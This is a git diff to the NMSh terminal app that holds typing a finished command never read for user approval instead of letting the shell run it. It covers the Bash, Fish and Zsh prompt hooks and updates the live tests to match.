* A session service without this release's look result (an older NMSh's, e.g. v0.20.0's) still decides who gets what - * is typed while a command runs, the way it did then: #426's and #436's protections are not active in its sessions. - * Said once per window, with when it ends; undefined for a service that has them. + * A session service without this release's look result (an older NMSh's, e.g. v0.20.0's) cannot say what a look saw, + * and its shells lack this release's prompt-hook marker and the end-of-command hold of unread typing (#426, #436). + * This window fails closed instead (see TerminalApp): typing while a command runs with no question is held, not shown, + * until the person sends (Ctrl+S), shows (Tab) or discards (Esc) it, and a line entered then waits for approval. Said + * once per window, with what remains and when it ends; undefined for a service that has the protections. */ export function serviceInputNotice(features: ReadonlySet): string | undefined { if (features.has('input-look-result')) return undefined; - return 'This session\'s service is from an older NMSh, so what you type while a command runs is routed as that version did: ' - + 'a password typed before a program asks for it can be shown, queued or run as a command. ' - + 'The service restarts by itself once every NMSh window and live session has ended; new sessions then get the current protections.'; + return 'This session\'s service is from an older NMSh, which cannot tell this window who reads what you type while a command runs. ' + + 'So typing then is held, not shown, until you choose (Ctrl+S sends it, Tab shows it, Esc discards it), and a line entered then waits for your approval. ' + + 'Typing a program receives but never reads can still reach the shell there. ' + + 'The service restarts by itself once every NMSh window and live session has ended; new sessions then get every protection.'; } export const OLDER_SERVICE_SWITCH = 'The session service running this session is an older NMSh build without shell switching. ' diff --git a/src/shell/ShellProtocol.ts b/src/shell/ShellProtocol.ts index ad8d9cb1..d0574df7 100644 --- a/src/shell/ShellProtocol.ts +++ b/src/shell/ShellProtocol.ts @@ -16,6 +16,11 @@ export type ProtocolEvent = */ | {kind: 'done'} | {kind: 'marker'; marker: ShellMarker} + /** + * The first prompt hook took out of the terminal what the finished command never read (#426): bytes NMSh delivered + * to it (an answer, keys for its interface). The shell never reads them as a command; NMSh holds them for approval. + */ + | {kind: 'unread'; text: string} /** zsh preexec: a command line is about to run in the foreground. */ | {kind: 'exec'; command: string; historyAllowed?: number}; @@ -87,6 +92,12 @@ export class ShellProtocolDecoder { private emit(payload: string, events: ProtocolEvent[]): void { if (payload === 'reader') { events.push({kind: 'reader'}); return; } if (payload === 'done') { events.push({kind: 'done'}); return; } + if (payload.startsWith('unread;')) { + const hex = payload.slice(7); + // Exactly the bytes, or nothing: a malformed payload is never guessed at, and never output either. + if (hex && hex.length % 2 === 0 && /^[0-9a-f]+$/u.test(hex)) events.push({kind: 'unread', text: Buffer.from(hex, 'hex').toString('utf8')}); + return; + } if (/^exec2;[01];/u.test(payload)) { events.push({kind: 'exec', command: payload.slice(8), historyAllowed: Number(payload[6])}); return; diff --git a/src/shell/ShellSession.ts b/src/shell/ShellSession.ts index bbc41401..2ec78589 100644 --- a/src/shell/ShellSession.ts +++ b/src/shell/ShellSession.ts @@ -4,7 +4,7 @@ import { randomBytes } from 'node:crypto'; import { EventEmitter } from 'node:events'; import {QUERY_HOLD_MS, QueryOrder} from './QueryOrder.js'; import { spawn, type IPty } from 'node-pty'; -import { mkdtempSync, rmSync, readFileSync, statSync } from 'node:fs'; +import { mkdtempSync, rmSync, readFileSync, statSync, writeFileSync } from 'node:fs'; import {MAX_SHELL_KNOWLEDGE_BYTES} from './ShellKnowledge.js'; import { tmpdir } from 'node:os'; import { basename, join } from 'node:path'; @@ -25,6 +25,11 @@ interface SessionEvents { exit: [{ exitCode: number; signal?: number }]; /** Whether the running command credibly waits for input, and its waiting time (see InputWatch). */ inputState: [InputState]; + /** + * Input delivered for the finished command that it never read (#426), taken out of the terminal by the shell's first + * prompt hook, or that arrived once the shell said the command was done. Never written to the shell's command reader. + */ + unread: [text: string, program: string]; } /** node-pty's error for an ioctl on a PTY whose descriptor is already closed. */ @@ -32,6 +37,9 @@ export function isClosedPtyError(error: unknown): boolean { return error instanceof Error && /\bEBADF\b/u.test(error.message); } +/** The per-session file that asks the shell's first prompt hook to take back unread input (see ShellAdapter). */ +export const UNREAD_FLAG = '.nmsh-unread'; + export class ShellSession extends EventEmitter { private readonly pty: IPty; private readonly protocol: ShellProtocolDecoder; @@ -59,6 +67,16 @@ export class ShellSession extends EventEmitter { private lastSubmitted = ''; /** One authoritative input-awareness state per session, next to the PTY. */ readonly inputWatch: InputWatch; + /** + * #426 lifecycle: the shell's first prompt hook drains the terminal of input the command never read only when this + * file is non-empty, so a command NMSh delivered nothing to costs nothing. Written before the first delivery. + */ + private readonly unreadFlag: string; + private delivered = false; + /** Between the shell's done marker and its prompt: the command is over, so nothing more is delivered to it. */ + private done = false; + /** The first word of the running command line, to say whose typing a held line was. */ + private program = ''; constructor(cwd: string, columns: number, rows: number, home = process.env.HOME || '', env: NodeJS.ProcessEnv = process.env, shell: ShellId | ShellAdapter = 'zsh', probe: TerminalProbe | undefined = systemProbe()) { @@ -73,9 +91,11 @@ export class ShellSession extends EventEmitter { // A private per-session bootstrap directory (zsh keeps its historical ZDOTDIR name). const stateDir = mkdtempSync(join(tmpdir(), this.adapter.id === 'zsh' ? 'nmsh-zdotdir-' : 'nmsh-shell-')); this.zdotdir = stateDir; + this.unreadFlag = join(stateDir, UNREAD_FLAG); let launch; try { - launch = this.adapter.launch({home, env, token, stateDir, knowledgePath: join(stateDir, '.nmsh-knowledge'), bridgeEnvPath: bridgeEnvPath(this.adapter.id, env)}); + launch = this.adapter.launch({home, env, token, stateDir, knowledgePath: join(stateDir, '.nmsh-knowledge'), bridgeEnvPath: bridgeEnvPath(this.adapter.id, env), + unreadFlag: this.unreadFlag}); } catch (error) { this.cleanup(); throw error; @@ -168,6 +188,16 @@ export class ShellSession extends EventEmitter { */ private send(data: string, submission = false): void { if (submission) this.lastSubmitted = data.replace(/\r$/u, ''); + if (this.ready && !submission && !this.atPrompt) { + // The command is done (its prompt hooks run): nothing can read this for it, and the shell's command reader is + // next. It is held for the person, never written (#426). + if (this.done) { this.emit('unread', data, this.program); return; } + if (!this.delivered) { + this.delivered = true; + // Before the bytes: whatever reaches the terminal for this command, its end takes back what was never read. + try { writeFileSync(this.unreadFlag, '1'); } catch { /* the hook then finds nothing to take; documented limit */ } + } + } if (this.ready) { this.inputWatch.onInput(data); this.order.input(data); return; } if (this.pendingInputBytes() + Buffer.byteLength(data, 'utf8') <= PENDING_INPUT_LIMIT) this.pendingInput += data; else this.emit('inputRejected', data, submission); @@ -182,7 +212,11 @@ export class ShellSession extends EventEmitter { } endInput(): void { - // End of input is ordinary input: it keeps its place after anything typed before it. + // End of input is ordinary input: it keeps its place after anything typed before it, and is held like it (#426). + if (this.ready && !this.atPrompt) { + if (this.done) return; + if (!this.delivered) { this.delivered = true; try { writeFileSync(this.unreadFlag, '1'); } catch { /* see send */ } } + } this.inputWatch.onInput('\u0004'); this.order.input('\u0004'); } @@ -228,9 +262,14 @@ export class ShellSession extends EventEmitter { } else if (event.kind === 'reader') { if (this.ready && !this.atPrompt) this.inputWatch.onReader(); } else if (event.kind === 'done') { - if (this.ready && !this.atPrompt) this.inputWatch.onDone(); + if (this.ready && !this.atPrompt) { this.done = true; this.inputWatch.onDone(); } + } else if (event.kind === 'unread') { + if (this.ready && event.text) this.emit('unread', event.text, this.program); } else if (event.kind === 'exec') { this.atPrompt = false; + this.done = false; + this.delivered = false; + this.program = (event.command.trim().split(/\s+/u)[0] ?? '').replace(/[\u0000-\u001f\u007f-\u009f]/gu, '').slice(0, 64); this.commandStart = true; // Bash cannot report the text of a line it chose not to record; the submitted text stands in. if (this.ready) { @@ -249,6 +288,8 @@ export class ShellSession extends EventEmitter { if (pending && !this.exited) this.pty.write(pending); } else { this.atPrompt = true; + this.done = false; + this.delivered = false; // Final waiting time first, so it travels with the prompt that completes the command. this.inputWatch.onPrompt(); const {waitedMs, waits} = this.inputWatch.state.timing; diff --git a/src/shell/adapters/BashAdapter.ts b/src/shell/adapters/BashAdapter.ts index 8974bcab..f80e471c 100644 --- a/src/shell/adapters/BashAdapter.ts +++ b/src/shell/adapters/BashAdapter.ts @@ -6,7 +6,7 @@ import {runExternal} from '../../providers/providers.js'; import {completionLabel, filterCompletions, type CompletionCandidate, type CompletionContext, type CompletionKind, type CompletionSource} from '../completion.js'; import {completionWord} from '../ConfiguredCompletion.js'; import type {CommandEntry} from '../../suggestions/types.js'; -import {posixQuote, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; +import {posixQuote, UNREAD_DRAIN_SCRIPT, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; import {findShellExecutables} from './shellExecutable.js'; import {bridgeBootstrap} from '../../themeBridge/environment.js'; import {bashEnvironmentSnapshot} from '../../context/shellEnvironment.js'; @@ -108,6 +108,14 @@ __nmsh_precmd() { local nmsh_status=$? nmsh_command # The command is done (#436): the prompt hooks below may hold the terminal; nothing they do is its input. ${marker('done')} + # Input NMSh delivered to the command that it never read: taken out of the terminal before Bash reads its next + # command line, and handed to NMSh to hold for approval; it never runs as a command (#426). + if [[ -s ${posixQuote(context.unreadFlag ?? '')} ]]; then + local nmsh_unread + nmsh_unread=$(builtin command sh -c ${posixQuote(UNREAD_DRAIN_SCRIPT)} /dev/null) + : >| ${posixQuote(context.unreadFlag ?? '')} + [[ -n $nmsh_unread ]] && ${marker('unread;%s')} "$nmsh_unread" + fi for nmsh_command in "\${__nmsh_user_prompt_command[@]}"; do [[ -n $nmsh_command ]] || continue __nmsh_set_status "$nmsh_status" diff --git a/src/shell/adapters/FishAdapter.ts b/src/shell/adapters/FishAdapter.ts index 7ace0b91..0a1caa93 100644 --- a/src/shell/adapters/FishAdapter.ts +++ b/src/shell/adapters/FishAdapter.ts @@ -5,7 +5,7 @@ import {runExternal} from '../../providers/providers.js'; import {completionLabel, filterCompletions, type CompletionCandidate, type CompletionContext, type CompletionKind, type CompletionSource} from '../completion.js'; import {completionWord} from '../ConfiguredCompletion.js'; import type {CommandEntry} from '../../suggestions/types.js'; -import {fishQuote, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; +import {fishQuote, UNREAD_DRAIN_SCRIPT, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; import {findShellExecutables} from './shellExecutable.js'; import {bridgeBootstrap} from '../../themeBridge/environment.js'; import {fishEnvironmentSnapshot} from '../../context/shellEnvironment.js'; @@ -47,7 +47,8 @@ else end end`; -function bootstrap({token, knowledgePath, bridgeEnvPath}: LaunchContext, originalTerm: string | undefined): string { +function bootstrap(context: LaunchContext, originalTerm: string | undefined): string { + const {token, knowledgePath, bridgeEnvPath} = context; const sync = bridgeEnvPath ? '\n nmsh_bridge_sync' : ''; const marker = (body: string) => `__nmsh_mark '\\e]777;nmsh;${token};${body}\\a'`; return `# NMSh managed fish session bootstrap (private, per session) @@ -108,6 +109,13 @@ function __nmsh_postexec --on-event fish_postexec set -l nmsh_status $status # The command is done (#436): nothing until the prompt marker is its input. ${marker('done')} + # Input NMSh delivered to the command that it never read: taken out of the terminal before Fish's reader starts, + # and handed to NMSh to hold for approval; it never runs as a command (#426). + if test -s ${fishQuote(context.unreadFlag ?? '')} + set -l nmsh_unread (command sh -c ${fishQuote(UNREAD_DRAIN_SCRIPT)} /dev/null) + printf '' > ${fishQuote(context.unreadFlag ?? '')} + test -n "$nmsh_unread"; and ${marker('unread;%s')} $nmsh_unread + end __nmsh_knowledge${bridgeEnvPath ? '\n nmsh_bridge_sync' : ''} ${marker('%d;%s')} $nmsh_status "$PWD" end diff --git a/src/shell/adapters/ShellAdapter.ts b/src/shell/adapters/ShellAdapter.ts index 19126942..e1fc6cd9 100644 --- a/src/shell/adapters/ShellAdapter.ts +++ b/src/shell/adapters/ShellAdapter.ts @@ -35,8 +35,24 @@ export interface LaunchContext { knowledgePath: string; /** NMSh Theme Bridge environment file for this shell syntax, applied from the prompt hook when present. */ bridgeEnvPath?: string; + /** + * Non-empty once NMSh delivered input to the running command (#426). The first prompt hook then runs + * UNREAD_DRAIN_SCRIPT on the terminal, empties this file and reports what it took as an `unread` marker (hex). + */ + unreadFlag?: string; } +/** + * Takes out of the terminal what the finished command never read and prints it as hex (#426): an answer for a read that + * gave up, keys typed into a program as it exited, a partial line. Without this the shell would read a whole line as + * its next command, or glue a partial one onto the command NMSh submits next. Plain POSIX tools; run only when NMSh + * delivered input to the command, with the terminal as stdin. Non-canonical with VMIN=0/VTIME=0, a read returns what is + * there and then end-of-file, so it never waits. Immune to SIGTTOU/SIGTTIN: the hook may run before the shell has the + * terminal back, and then it takes nothing rather than stopping. Bounded: 64 KiB reported, the rest discarded. + */ +export const UNREAD_DRAIN_SCRIPT = 'trap "" TTOU TTIN; s=$(stty -g 2>/dev/null) || exit 0; stty -icanon -echo min 0 time 0 2>/dev/null || exit 0; ' + + '{ head -c 65536 | od -An -v -tx1 | tr -d " \\n"; cat >/dev/null; }; stty "$s" 2>/dev/null'; + export interface ShellLaunch { executable: string; args: string[]; diff --git a/src/shell/adapters/ZshAdapter.ts b/src/shell/adapters/ZshAdapter.ts index 69eca831..1a5723ca 100644 --- a/src/shell/adapters/ZshAdapter.ts +++ b/src/shell/adapters/ZshAdapter.ts @@ -7,7 +7,7 @@ import {shellKnowledgeBootstrap} from '../ShellKnowledge.js'; import {resolveZsh} from '../zshExecutable.js'; import {parseZshHistoryInChunks} from '../HistoryService.js'; import {ShellCompletionSource} from '../CompletionService.js'; -import type {LaunchContext, ShellAdapter, ShellLaunch} from './ShellAdapter.js'; +import {UNREAD_DRAIN_SCRIPT, type LaunchContext, type ShellAdapter, type ShellLaunch} from './ShellAdapter.js'; import {bridgeBootstrap} from '../../themeBridge/environment.js'; const ZSH_BUILTINS = new Set(['alias', 'autoload', 'bg', 'bindkey', 'builtin', 'cd', 'command', 'echo', 'emulate', 'eval', 'exec', 'exit', 'export', 'fc', 'fg', @@ -33,7 +33,7 @@ export const zshAdapter: ShellAdapter = { unavailableReason(env) { try { resolveZsh(env); return undefined; } catch (error) { return error instanceof Error ? error.message : 'zsh was not found'; } }, - launch({home, env, token, stateDir, knowledgePath, bridgeEnvPath}: LaunchContext): ShellLaunch { + launch({home, env, token, stateDir, knowledgePath, bridgeEnvPath, unreadFlag}: LaunchContext): ShellLaunch { // Proxy .zshenv writeFileSync(join(stateDir, '.zshenv'), ` if [[ -n ${shellQuote(home)} && -f ${shellQuote(join(home, '.zshenv'))} ]]; then @@ -87,6 +87,14 @@ ${bridgeEnvPath ? bridgeBootstrap('zsh', bridgeEnvPath) : ''} function nmsh_done { local nmsh_status=$? printf '\\e]777;nmsh;${token};done\\a' + # Input NMSh delivered to the command that it never read is taken out of the terminal here, before this shell reads + # its next command line, and handed to NMSh to hold for approval: it never runs as a command (#426). + if [[ -s ${shellQuote(unreadFlag ?? '')} ]]; then + local nmsh_unread + nmsh_unread=\$(command sh -c ${shellQuote(UNREAD_DRAIN_SCRIPT)} /dev/null) + : >| ${shellQuote(unreadFlag ?? '')} + [[ -n \$nmsh_unread ]] && printf '\\e]777;nmsh;${token};unread;%s\\a' "\$nmsh_unread" + fi return \$nmsh_status } diff --git a/tests/commandQueueLive.test.ts b/tests/commandQueueLive.test.ts index 4deeb544..0020a69f 100644 --- a/tests/commandQueueLive.test.ts +++ b/tests/commandQueueLive.test.ts @@ -53,7 +53,7 @@ const CHECK_STATE: Record = { for (const shell of ['zsh', 'bash', 'fish'] as const) { const available = supported && (shell === 'zsh' || (shell === 'bash' ? bash : fish)); - test(`live ${shell}: Enter while a command runs queues; entries run in order in the same shell, keeping its state`, {skip: available ? false : `${shell} not installed`, timeout: 120_000}, async () => { + test(`live ${shell}: Ctrl+Q while a command runs queues; entries run in order in the same shell, keeping its state`, {skip: available ? false : `${shell} not installed`, timeout: 120_000}, async () => { const {sandbox, frontend} = await start(shell); try { await frontend.run('mkdir -p sub', /❯/u); @@ -64,15 +64,16 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { const holding = `sh -c 'printf "STATE-%s\\n" HOLD; until test -f "$1"; do sleep 0.05; done' nmsh-fixture "${release}"`; frontend.pty.write(`${holding}\r`); await frontend.waitFor(/STATE-HOLD/u, mark); + // Ctrl+Q queues a command to run after (#426: a plain Enter holds the line for approval). for (const line of [...SET_STATE[shell], CHECK_STATE[shell]]) { - frontend.pty.write(`${line}\r`); + frontend.pty.write(`${line}\u0011`); await pause(80); } // Room for the list (30 rows): what runs next, in order. // (A redraw writes only the rows that changed, so the header and the list rows are checked apart.) await frontend.waitFor(/› cd sub +Next/u, mark); await frontend.waitFor(/Queue · 6 commands/u, mark); - assert.match(drawn(frontend, mark), /Enter queues the next command · Ctrl\+S sends to sh/u, 'the empty composer says what Enter does'); + assert.match(drawn(frontend, mark), /Enter holds it for approval · Ctrl\+Q runs it after · Ctrl\+S sends to sh/u, 'the empty composer says what Enter and Ctrl+Q do'); writeFileSync(release, ''); await frontend.waitFor(/STATE sub kept fn-x (?:opt|on)/u, mark, 30_000); const commands = [holding, ...SET_STATE[shell], CHECK_STATE[shell]]; @@ -89,7 +90,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { for (const shell of ['zsh', 'bash', 'fish'] as const) { const available = supported && (shell === 'zsh' || (shell === 'bash' ? bash : fish)); - test(`live ${shell}: while a command runs, Up/Down recall executed commands in the composer; only Enter changes the queue`, {skip: available ? false : `${shell} not installed`, timeout: 120_000}, async () => { + test(`live ${shell}: while a command runs, Up/Down recall executed commands in the composer; only Ctrl+Q changes the queue`, {skip: available ? false : `${shell} not installed`, timeout: 120_000}, async () => { const {sandbox, frontend} = await start(shell); const release = join(sandbox.home, 'history-release'); try { @@ -102,8 +103,8 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { const holding = `sh -c 'printf "HOLD-%s\\n" READY; n=0; until test -f "$1" || [ "$n" -ge 2400 ]; do sleep 0.05; n=$((n+1)); done' nmsh-fixture "${release}"`; frontend.pty.write(`${holding}\r`); await frontend.waitFor(/HOLD-READY/u, mark); - // Enter while a command runs still queues, exactly as before: the queue row appears. - frontend.pty.write('echo QUEUED-NEXT\r'); + // Ctrl+Q while a command runs queues it: the queue row appears. + frontend.pty.write('echo QUEUED-NEXT\u0011'); await frontend.waitFor(/› echo QUEUED-NEXT/u, mark); // While the command runs, Up/Down browse executed commands in the composer; nothing is enqueued by navigating. frontend.pty.write('echo DRAFT-KEEP'); @@ -129,7 +130,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { await frontend.waitFor(/❯ echo DRAFT-KEEP/u, step, 8_000); assert.doesNotMatch(drawn(frontend, mark), /› echo RECALL-/u, 'navigation alone never queued a recalled command'); assert.match(drawn(frontend, mark), /› echo QUEUED-NEXT/u, 'the queue row is still the one explicit entry'); - // Ctrl+U clears the draft; a fresh Up and an explicit Enter queue the recalled command. + // Ctrl+U clears the draft; a fresh Up and an explicit Ctrl+Q queue the recalled command. frontend.pty.write('\u0015'); await pause(300); step = frontend.mark; @@ -139,7 +140,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { frontend.pty.write('\u001b[A'); await frontend.waitFor(/❯ echo RECALL-TWO/u, step); step = frontend.mark; - frontend.pty.write('\r'); + frontend.pty.write('\u0011'); await pause(500); // /queue keeps the keyboard for its own list: both entries are queued, Up/Down select, and the composer never recalls. step = frontend.mark; @@ -176,7 +177,7 @@ test('live: a failed command pauses the queue with its reason; nothing after it const mark = frontend.mark; frontend.pty.write(`sh -c 'sleep 1; exit 3'\r`); await frontend.waitFor(/Running sh -c/u, mark); - frontend.pty.write(`touch ${marker}\r`); + frontend.pty.write(`touch ${marker}\u0011`); // Said once where it happened; the queue's row carries what waits and what to do, not the same sentence again. await frontend.waitFor(/Queue paused: sh -c 'sleep 1; exit 3' failed \(exit 3\)\./u, mark, 20_000); await frontend.waitFor(/Queue paused · 1 pending[\s\S]*Enter to review/u, mark); @@ -272,7 +273,7 @@ test('live: Ctrl+C pauses what was queued behind the interrupted command', {skip const mark = frontend.mark; frontend.pty.write('sleep 30\r'); await frontend.waitFor(/Running sleep 30/u, mark); - frontend.pty.write(`touch ${marker}\r`); + frontend.pty.write(`touch ${marker}\u0011`); await frontend.waitFor(/Queue · 2 commands/u, mark); frontend.pty.write('\u0003'); await frontend.waitFor(/Queue paused: sleep 30 was interrupted/u, mark, 20_000); @@ -308,7 +309,7 @@ test('live: after Ctrl+Z or Ctrl+C, what you type next is for the shell prompt, } finally { await sandbox.dispose(); } }); -test('live: a program that survives Ctrl+C gets ordinary routing again: later typing queues, it is never sent into the program', {skip: supported && bash ? false : 'Bash 4.4+ not installed', timeout: 120_000}, async () => { +test('live: a program that survives Ctrl+C gets ordinary routing again: a later line is held for approval, never sent into the program or run', {skip: supported && bash ? false : 'Bash 4.4+ not installed', timeout: 120_000}, async () => { const {sandbox, frontend} = await start('zsh'); try { const mark = frontend.mark; @@ -321,10 +322,12 @@ test('live: a program that survives Ctrl+C gets ordinary routing again: later ty frontend.pty.write('\u0003'); await pause(4200); frontend.pty.write('echo LATER\r'); - await frontend.waitFor(/› echo LATER +Next/u, mark); + await frontend.waitFor(/typed while \S+ ran/u, mark); writeFileSync(release, ''); - await frontend.waitFor(/SURVIVED[\s\S]*LATER/u, mark, 20_000); + await frontend.waitFor(/SURVIVED/u, mark, 20_000); + await pause(1500); assert.doesNotMatch(drawn(frontend, mark), /GOT=echo LATER/u, 'nothing typed after the window reached the program'); + assert.doesNotMatch(drawn(frontend, mark), /(?> '${executions}'\ndone`; frontend.pty.write('\u001b[200~' + block + '\u001b[201~'); - // NMSh's paste review comes first; Enter inserts the paste into the composer, and only the next Enter queues it. + // NMSh's paste review comes first; Enter inserts the paste into the composer, and only Ctrl+Q queues it. await frontend.waitFor(/Enter insert · R review(?: · B queue as commands)? · Esc cancel/u, mark); frontend.pty.write('\r'); await frontend.waitFor(/❯ for i in 1 2; do/u, mark); await pause(300); assert.doesNotMatch(drawn(frontend, mark), /≡ Queued|Queue · \d+ commands/u, 'a paste never queues by itself'); - frontend.pty.write('\r'); + frontend.pty.write('\u0011'); await frontend.waitFor(/› for i in 1 2; do \(\+2 lines\).*Next/u, mark); await frontend.waitFor(/LINE-1[\s\S]*LINE-2[\s\S]*from queue/u, mark, 20_000); // Changed-row terminal writes may repaint output when chrome changes. Execution evidence comes from the @@ -390,8 +393,8 @@ test('live: the queue belongs to the session: it survives detach and reattach an const mark = first.mark; first.pty.write('sleep 4\r'); await first.waitFor(/Running sleep 4/u, mark); - first.pty.write(`touch ${marker}\r`); - first.pty.write('sleep 6\r'); + first.pty.write(`touch ${marker}\u0011`); + first.pty.write('sleep 6\u0011'); await first.waitFor(/Queue · 3 commands/u, mark); const [session] = await sandbox.sessions(); first.pty.kill('SIGKILL'); @@ -410,7 +413,7 @@ test('live: narrow, NO_COLOR and Safe glyphs keep the queue legible', {skip: sup const mark = frontend.mark; frontend.pty.write('sleep 3\r'); await frontend.waitFor(/Running/u, mark); - frontend.pty.write('echo NARROW-QUEUED\r'); + frontend.pty.write('echo NARROW-QUEUED\u0011'); // 40 columns: the entry's text is cut to fit, never wrapped into the composer. await frontend.waitFor(/> echo NARR.*Next/u, mark); assert.doesNotMatch(drawn(frontend, mark), /≡|⏸/u, 'Safe glyphs only'); diff --git a/tests/executionTimelineLive.test.ts b/tests/executionTimelineLive.test.ts index b6745b60..90aafa4d 100644 --- a/tests/executionTimelineLive.test.ts +++ b/tests/executionTimelineLive.test.ts @@ -25,7 +25,8 @@ for (const shell of ['zsh','bash','fish'] as const) { frontend.pty.write(holding + '\r'); await frontend.waitFor(/CHAIN-HOLD/u, mark); const commands = [`cd '${join(sandbox.home,'sub')}'`, `printf 'PERSIST:%s\\n' "$PWD"`]; - for (const command of commands) frontend.pty.write(command+'\r'); + // Ctrl+Q queues each to run after (#426: a plain Enter would hold it for approval). + for (const command of commands) frontend.pty.write(command+'\u0011'); await until(async () => (await sandbox.sessions())[0]?.queued === 2, 10_000, 'two queued entries'); if (policy === 'pause') { await frontend.run('/qp', /Queue paused/u); diff --git a/tests/inputAwarenessLive.test.ts b/tests/inputAwarenessLive.test.ts index abc987d2..27d3000b 100644 --- a/tests/inputAwarenessLive.test.ts +++ b/tests/inputAwarenessLive.test.ts @@ -89,7 +89,8 @@ for (const shell of ['zsh', 'bash'] as const) { frontend.pty.write('hunter2'); await pause(300); frontend.pty.write('\r'); - await frontend.waitFor(/len=7/u, mark); + // The prompt is back before the next command: one typed while this one still ran would wait for approval (#426). + await frontend.waitFor(/len=7[\s\S]*Completed/u, mark); assert.doesNotMatch(drawn(frontend, typed), /hunter2|•{3}/u, 'the secret is never drawn, not even as dots'); // A single key: answered without Enter, and no stray Enter reaches the shell afterwards. diff --git a/tests/inputOwnershipLive.test.ts b/tests/inputOwnershipLive.test.ts index 619cb8fb..cd21506f 100644 --- a/tests/inputOwnershipLive.test.ts +++ b/tests/inputOwnershipLive.test.ts @@ -106,7 +106,7 @@ for (const shell of ['zsh', 'bash', 'fish'] as const) { }); } -test('live zsh: Ctrl+Q queues while a read waits, Enter answers it; Enter during sleep or a loop still queues', {skip: supported ? false : 'unsupported platform', timeout: 180_000}, async () => { +test('live zsh: Ctrl+Q queues while a read waits, Enter answers it; Enter during sleep or a loop holds the line for approval, never run by itself', {skip: supported ? false : 'unsupported platform', timeout: 180_000}, async () => { const {sandbox, frontend} = await start('zsh'); try { // Ctrl+Q composes a queue entry; the reader never sees it. Enter then answers the reader. @@ -124,16 +124,23 @@ test('live zsh: Ctrl+Q queues while a read waits, Enter answers it; Enter during assert.equal(all.filter(record => record.command === 'echo AFTER-READ').length, 1, 'the queued command ran once, after'); assert.equal(all.some(record => record.output.includes('got=echo')), false, 'the queued text never reached the reader'); - // Nothing is waiting for input: Enter queues, whether typed at once or later, and each entry runs once, after. + // Nothing visibly waits for input, but NMSh cannot know that nothing will read (#426): Enter holds the line for + // approval, whether typed at once or later. It never runs by itself; approved at the prompt, it runs once. for (const [command, entry] of [['sleep 3', 'echo QUEUED-SLEEP'], ['for i in 1 2 3; do sleep 1; done', 'echo QUEUED-LOOP']] as const) { mark = frontend.mark; frontend.pty.write(`${command}\r`); await pause(entry.endsWith('LOOP') ? 1300 : 0); await type(frontend, entry); frontend.pty.write('\r'); - await until(async () => await queued(sandbox) === 1, 5000, `${entry} to be queued`); - await frontend.waitFor(new RegExp(`${entry.slice(5)}`, 'u'), mark, 15_000); - await until(async () => (await records(sandbox)).filter(record => record.command === entry).length === 1, 15_000, `${entry} to run once`); + await until(async () => await queued(sandbox) === 1, 5000, `${entry} to be held`); + await until(async () => (await records(sandbox)).some(record => record.command === command), 15_000, `${command} to complete`); + await pause(1500); + assert.equal((await records(sandbox)).filter(record => record.command === entry).length, 0, `${entry} did not run by itself`); + const review = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Approve and run this command\?/u, review); + frontend.pty.write('\r'); + await until(async () => (await records(sandbox)).filter(record => record.command === entry).length === 1, 15_000, `${entry} to run once, approved`); } } finally { await sandbox.dispose(); } }); @@ -150,7 +157,18 @@ test('live zsh: a command typed right after a read returns, or right after Ctrl+ await type(frontend, `echo X >> ${marker}`, 20); frontend.pty.write('\r'); await frontend.waitFor(/got:y/u, mark, 10_000); - await until(async () => (await records(sandbox)).some(record => record.command === `echo X >> ${marker}`), 15_000, 'the typed command to run'); + // Entered before the shell's prompt was back, the line was typed while the command ran, so it is held for approval + // (#426); entered after, it runs. Either way it runs exactly once, never by itself while unverified. + await until(async () => (await records(sandbox)).some(record => record.command === `echo X >> ${marker}`) || /typed while read ran/u.test(strip(frontend.output.slice(mark))), + 15_000, 'the typed command to run, or to be held'); + if (!(await records(sandbox)).some(record => record.command === `echo X >> ${marker}`)) { + await until(async () => (await records(sandbox)).some(record => record.command.startsWith('read -k 1')), 15_000, 'the read to complete'); + const review = frontend.mark; + frontend.pty.write('\r'); + await frontend.waitFor(/Approve and run this command\?/u, review); + frontend.pty.write('\r'); + await until(async () => (await records(sandbox)).some(record => record.command === `echo X >> ${marker}`), 15_000, 'the approved command to run'); + } mark = frontend.mark; frontend.pty.write('read -r reply\r'); await pause(600); diff --git a/tests/inputOwnershipLook.test.ts b/tests/inputOwnershipLook.test.ts index bdaec9f2..80c9adcf 100644 --- a/tests/inputOwnershipLook.test.ts +++ b/tests/inputOwnershipLook.test.ts @@ -69,7 +69,7 @@ function fixture() { assert.equal(submitted.some(entry => entry.includes(secret)), false, `${what}: not run as a command`); assert.equal(transcript().includes(secret), false, `${what}: not in the transcript`); }; - return {...frame, written, submitted, slowLooks, quickLooks, type, enter, text, adds, screen, transcript, found, nowhere, + return {...frame, queueOps, written, submitted, slowLooks, quickLooks, type, enter, text, adds, screen, transcript, found, nowhere, interrupts: () => interrupts, looks: () => looks, settle: (result: LookResult | undefined) => settle(result)}; } @@ -271,7 +271,7 @@ test('#426: a look that saw the terminal echoing routes type-ahead at once; no h } finally { f.dispose(); } }); -test('#426: an older service (a look with no result) routes as before', async t => { +test('#426: an older service (a look with no result) fails closed: its typing stays held, never routed on no evidence', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -280,8 +280,8 @@ test('#426: an older service (a look with no result) routes as before', async t f.begin('sleep 30'); f.type('echo next'); await settled(); - assert.equal(f.text(), 'echo next'); - assert.doesNotMatch(f.screen(), HELD); + assert.equal(f.text(), '', 'not drawn: the older service cannot say whether sleep reads it'); + assert.match(f.screen(), HELD); // The same silent answer from a service that does say what it saw (the socket closed mid-look) is not evidence. const g = fixture(); try { @@ -329,7 +329,7 @@ test('#426: an answer to a question the program printed goes as soon as the look } finally { f.dispose(); } }); -test('#426: a command that ends quickly while keys are held: the type-ahead runs as the next command, once', async t => { +test('#426: a command that ends quickly while keys are held: the line was entered while it ran, so it is held for approval, not run', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -340,8 +340,10 @@ test('#426: a command that ends quickly while keys are held: the type-ahead runs f.complete(0); 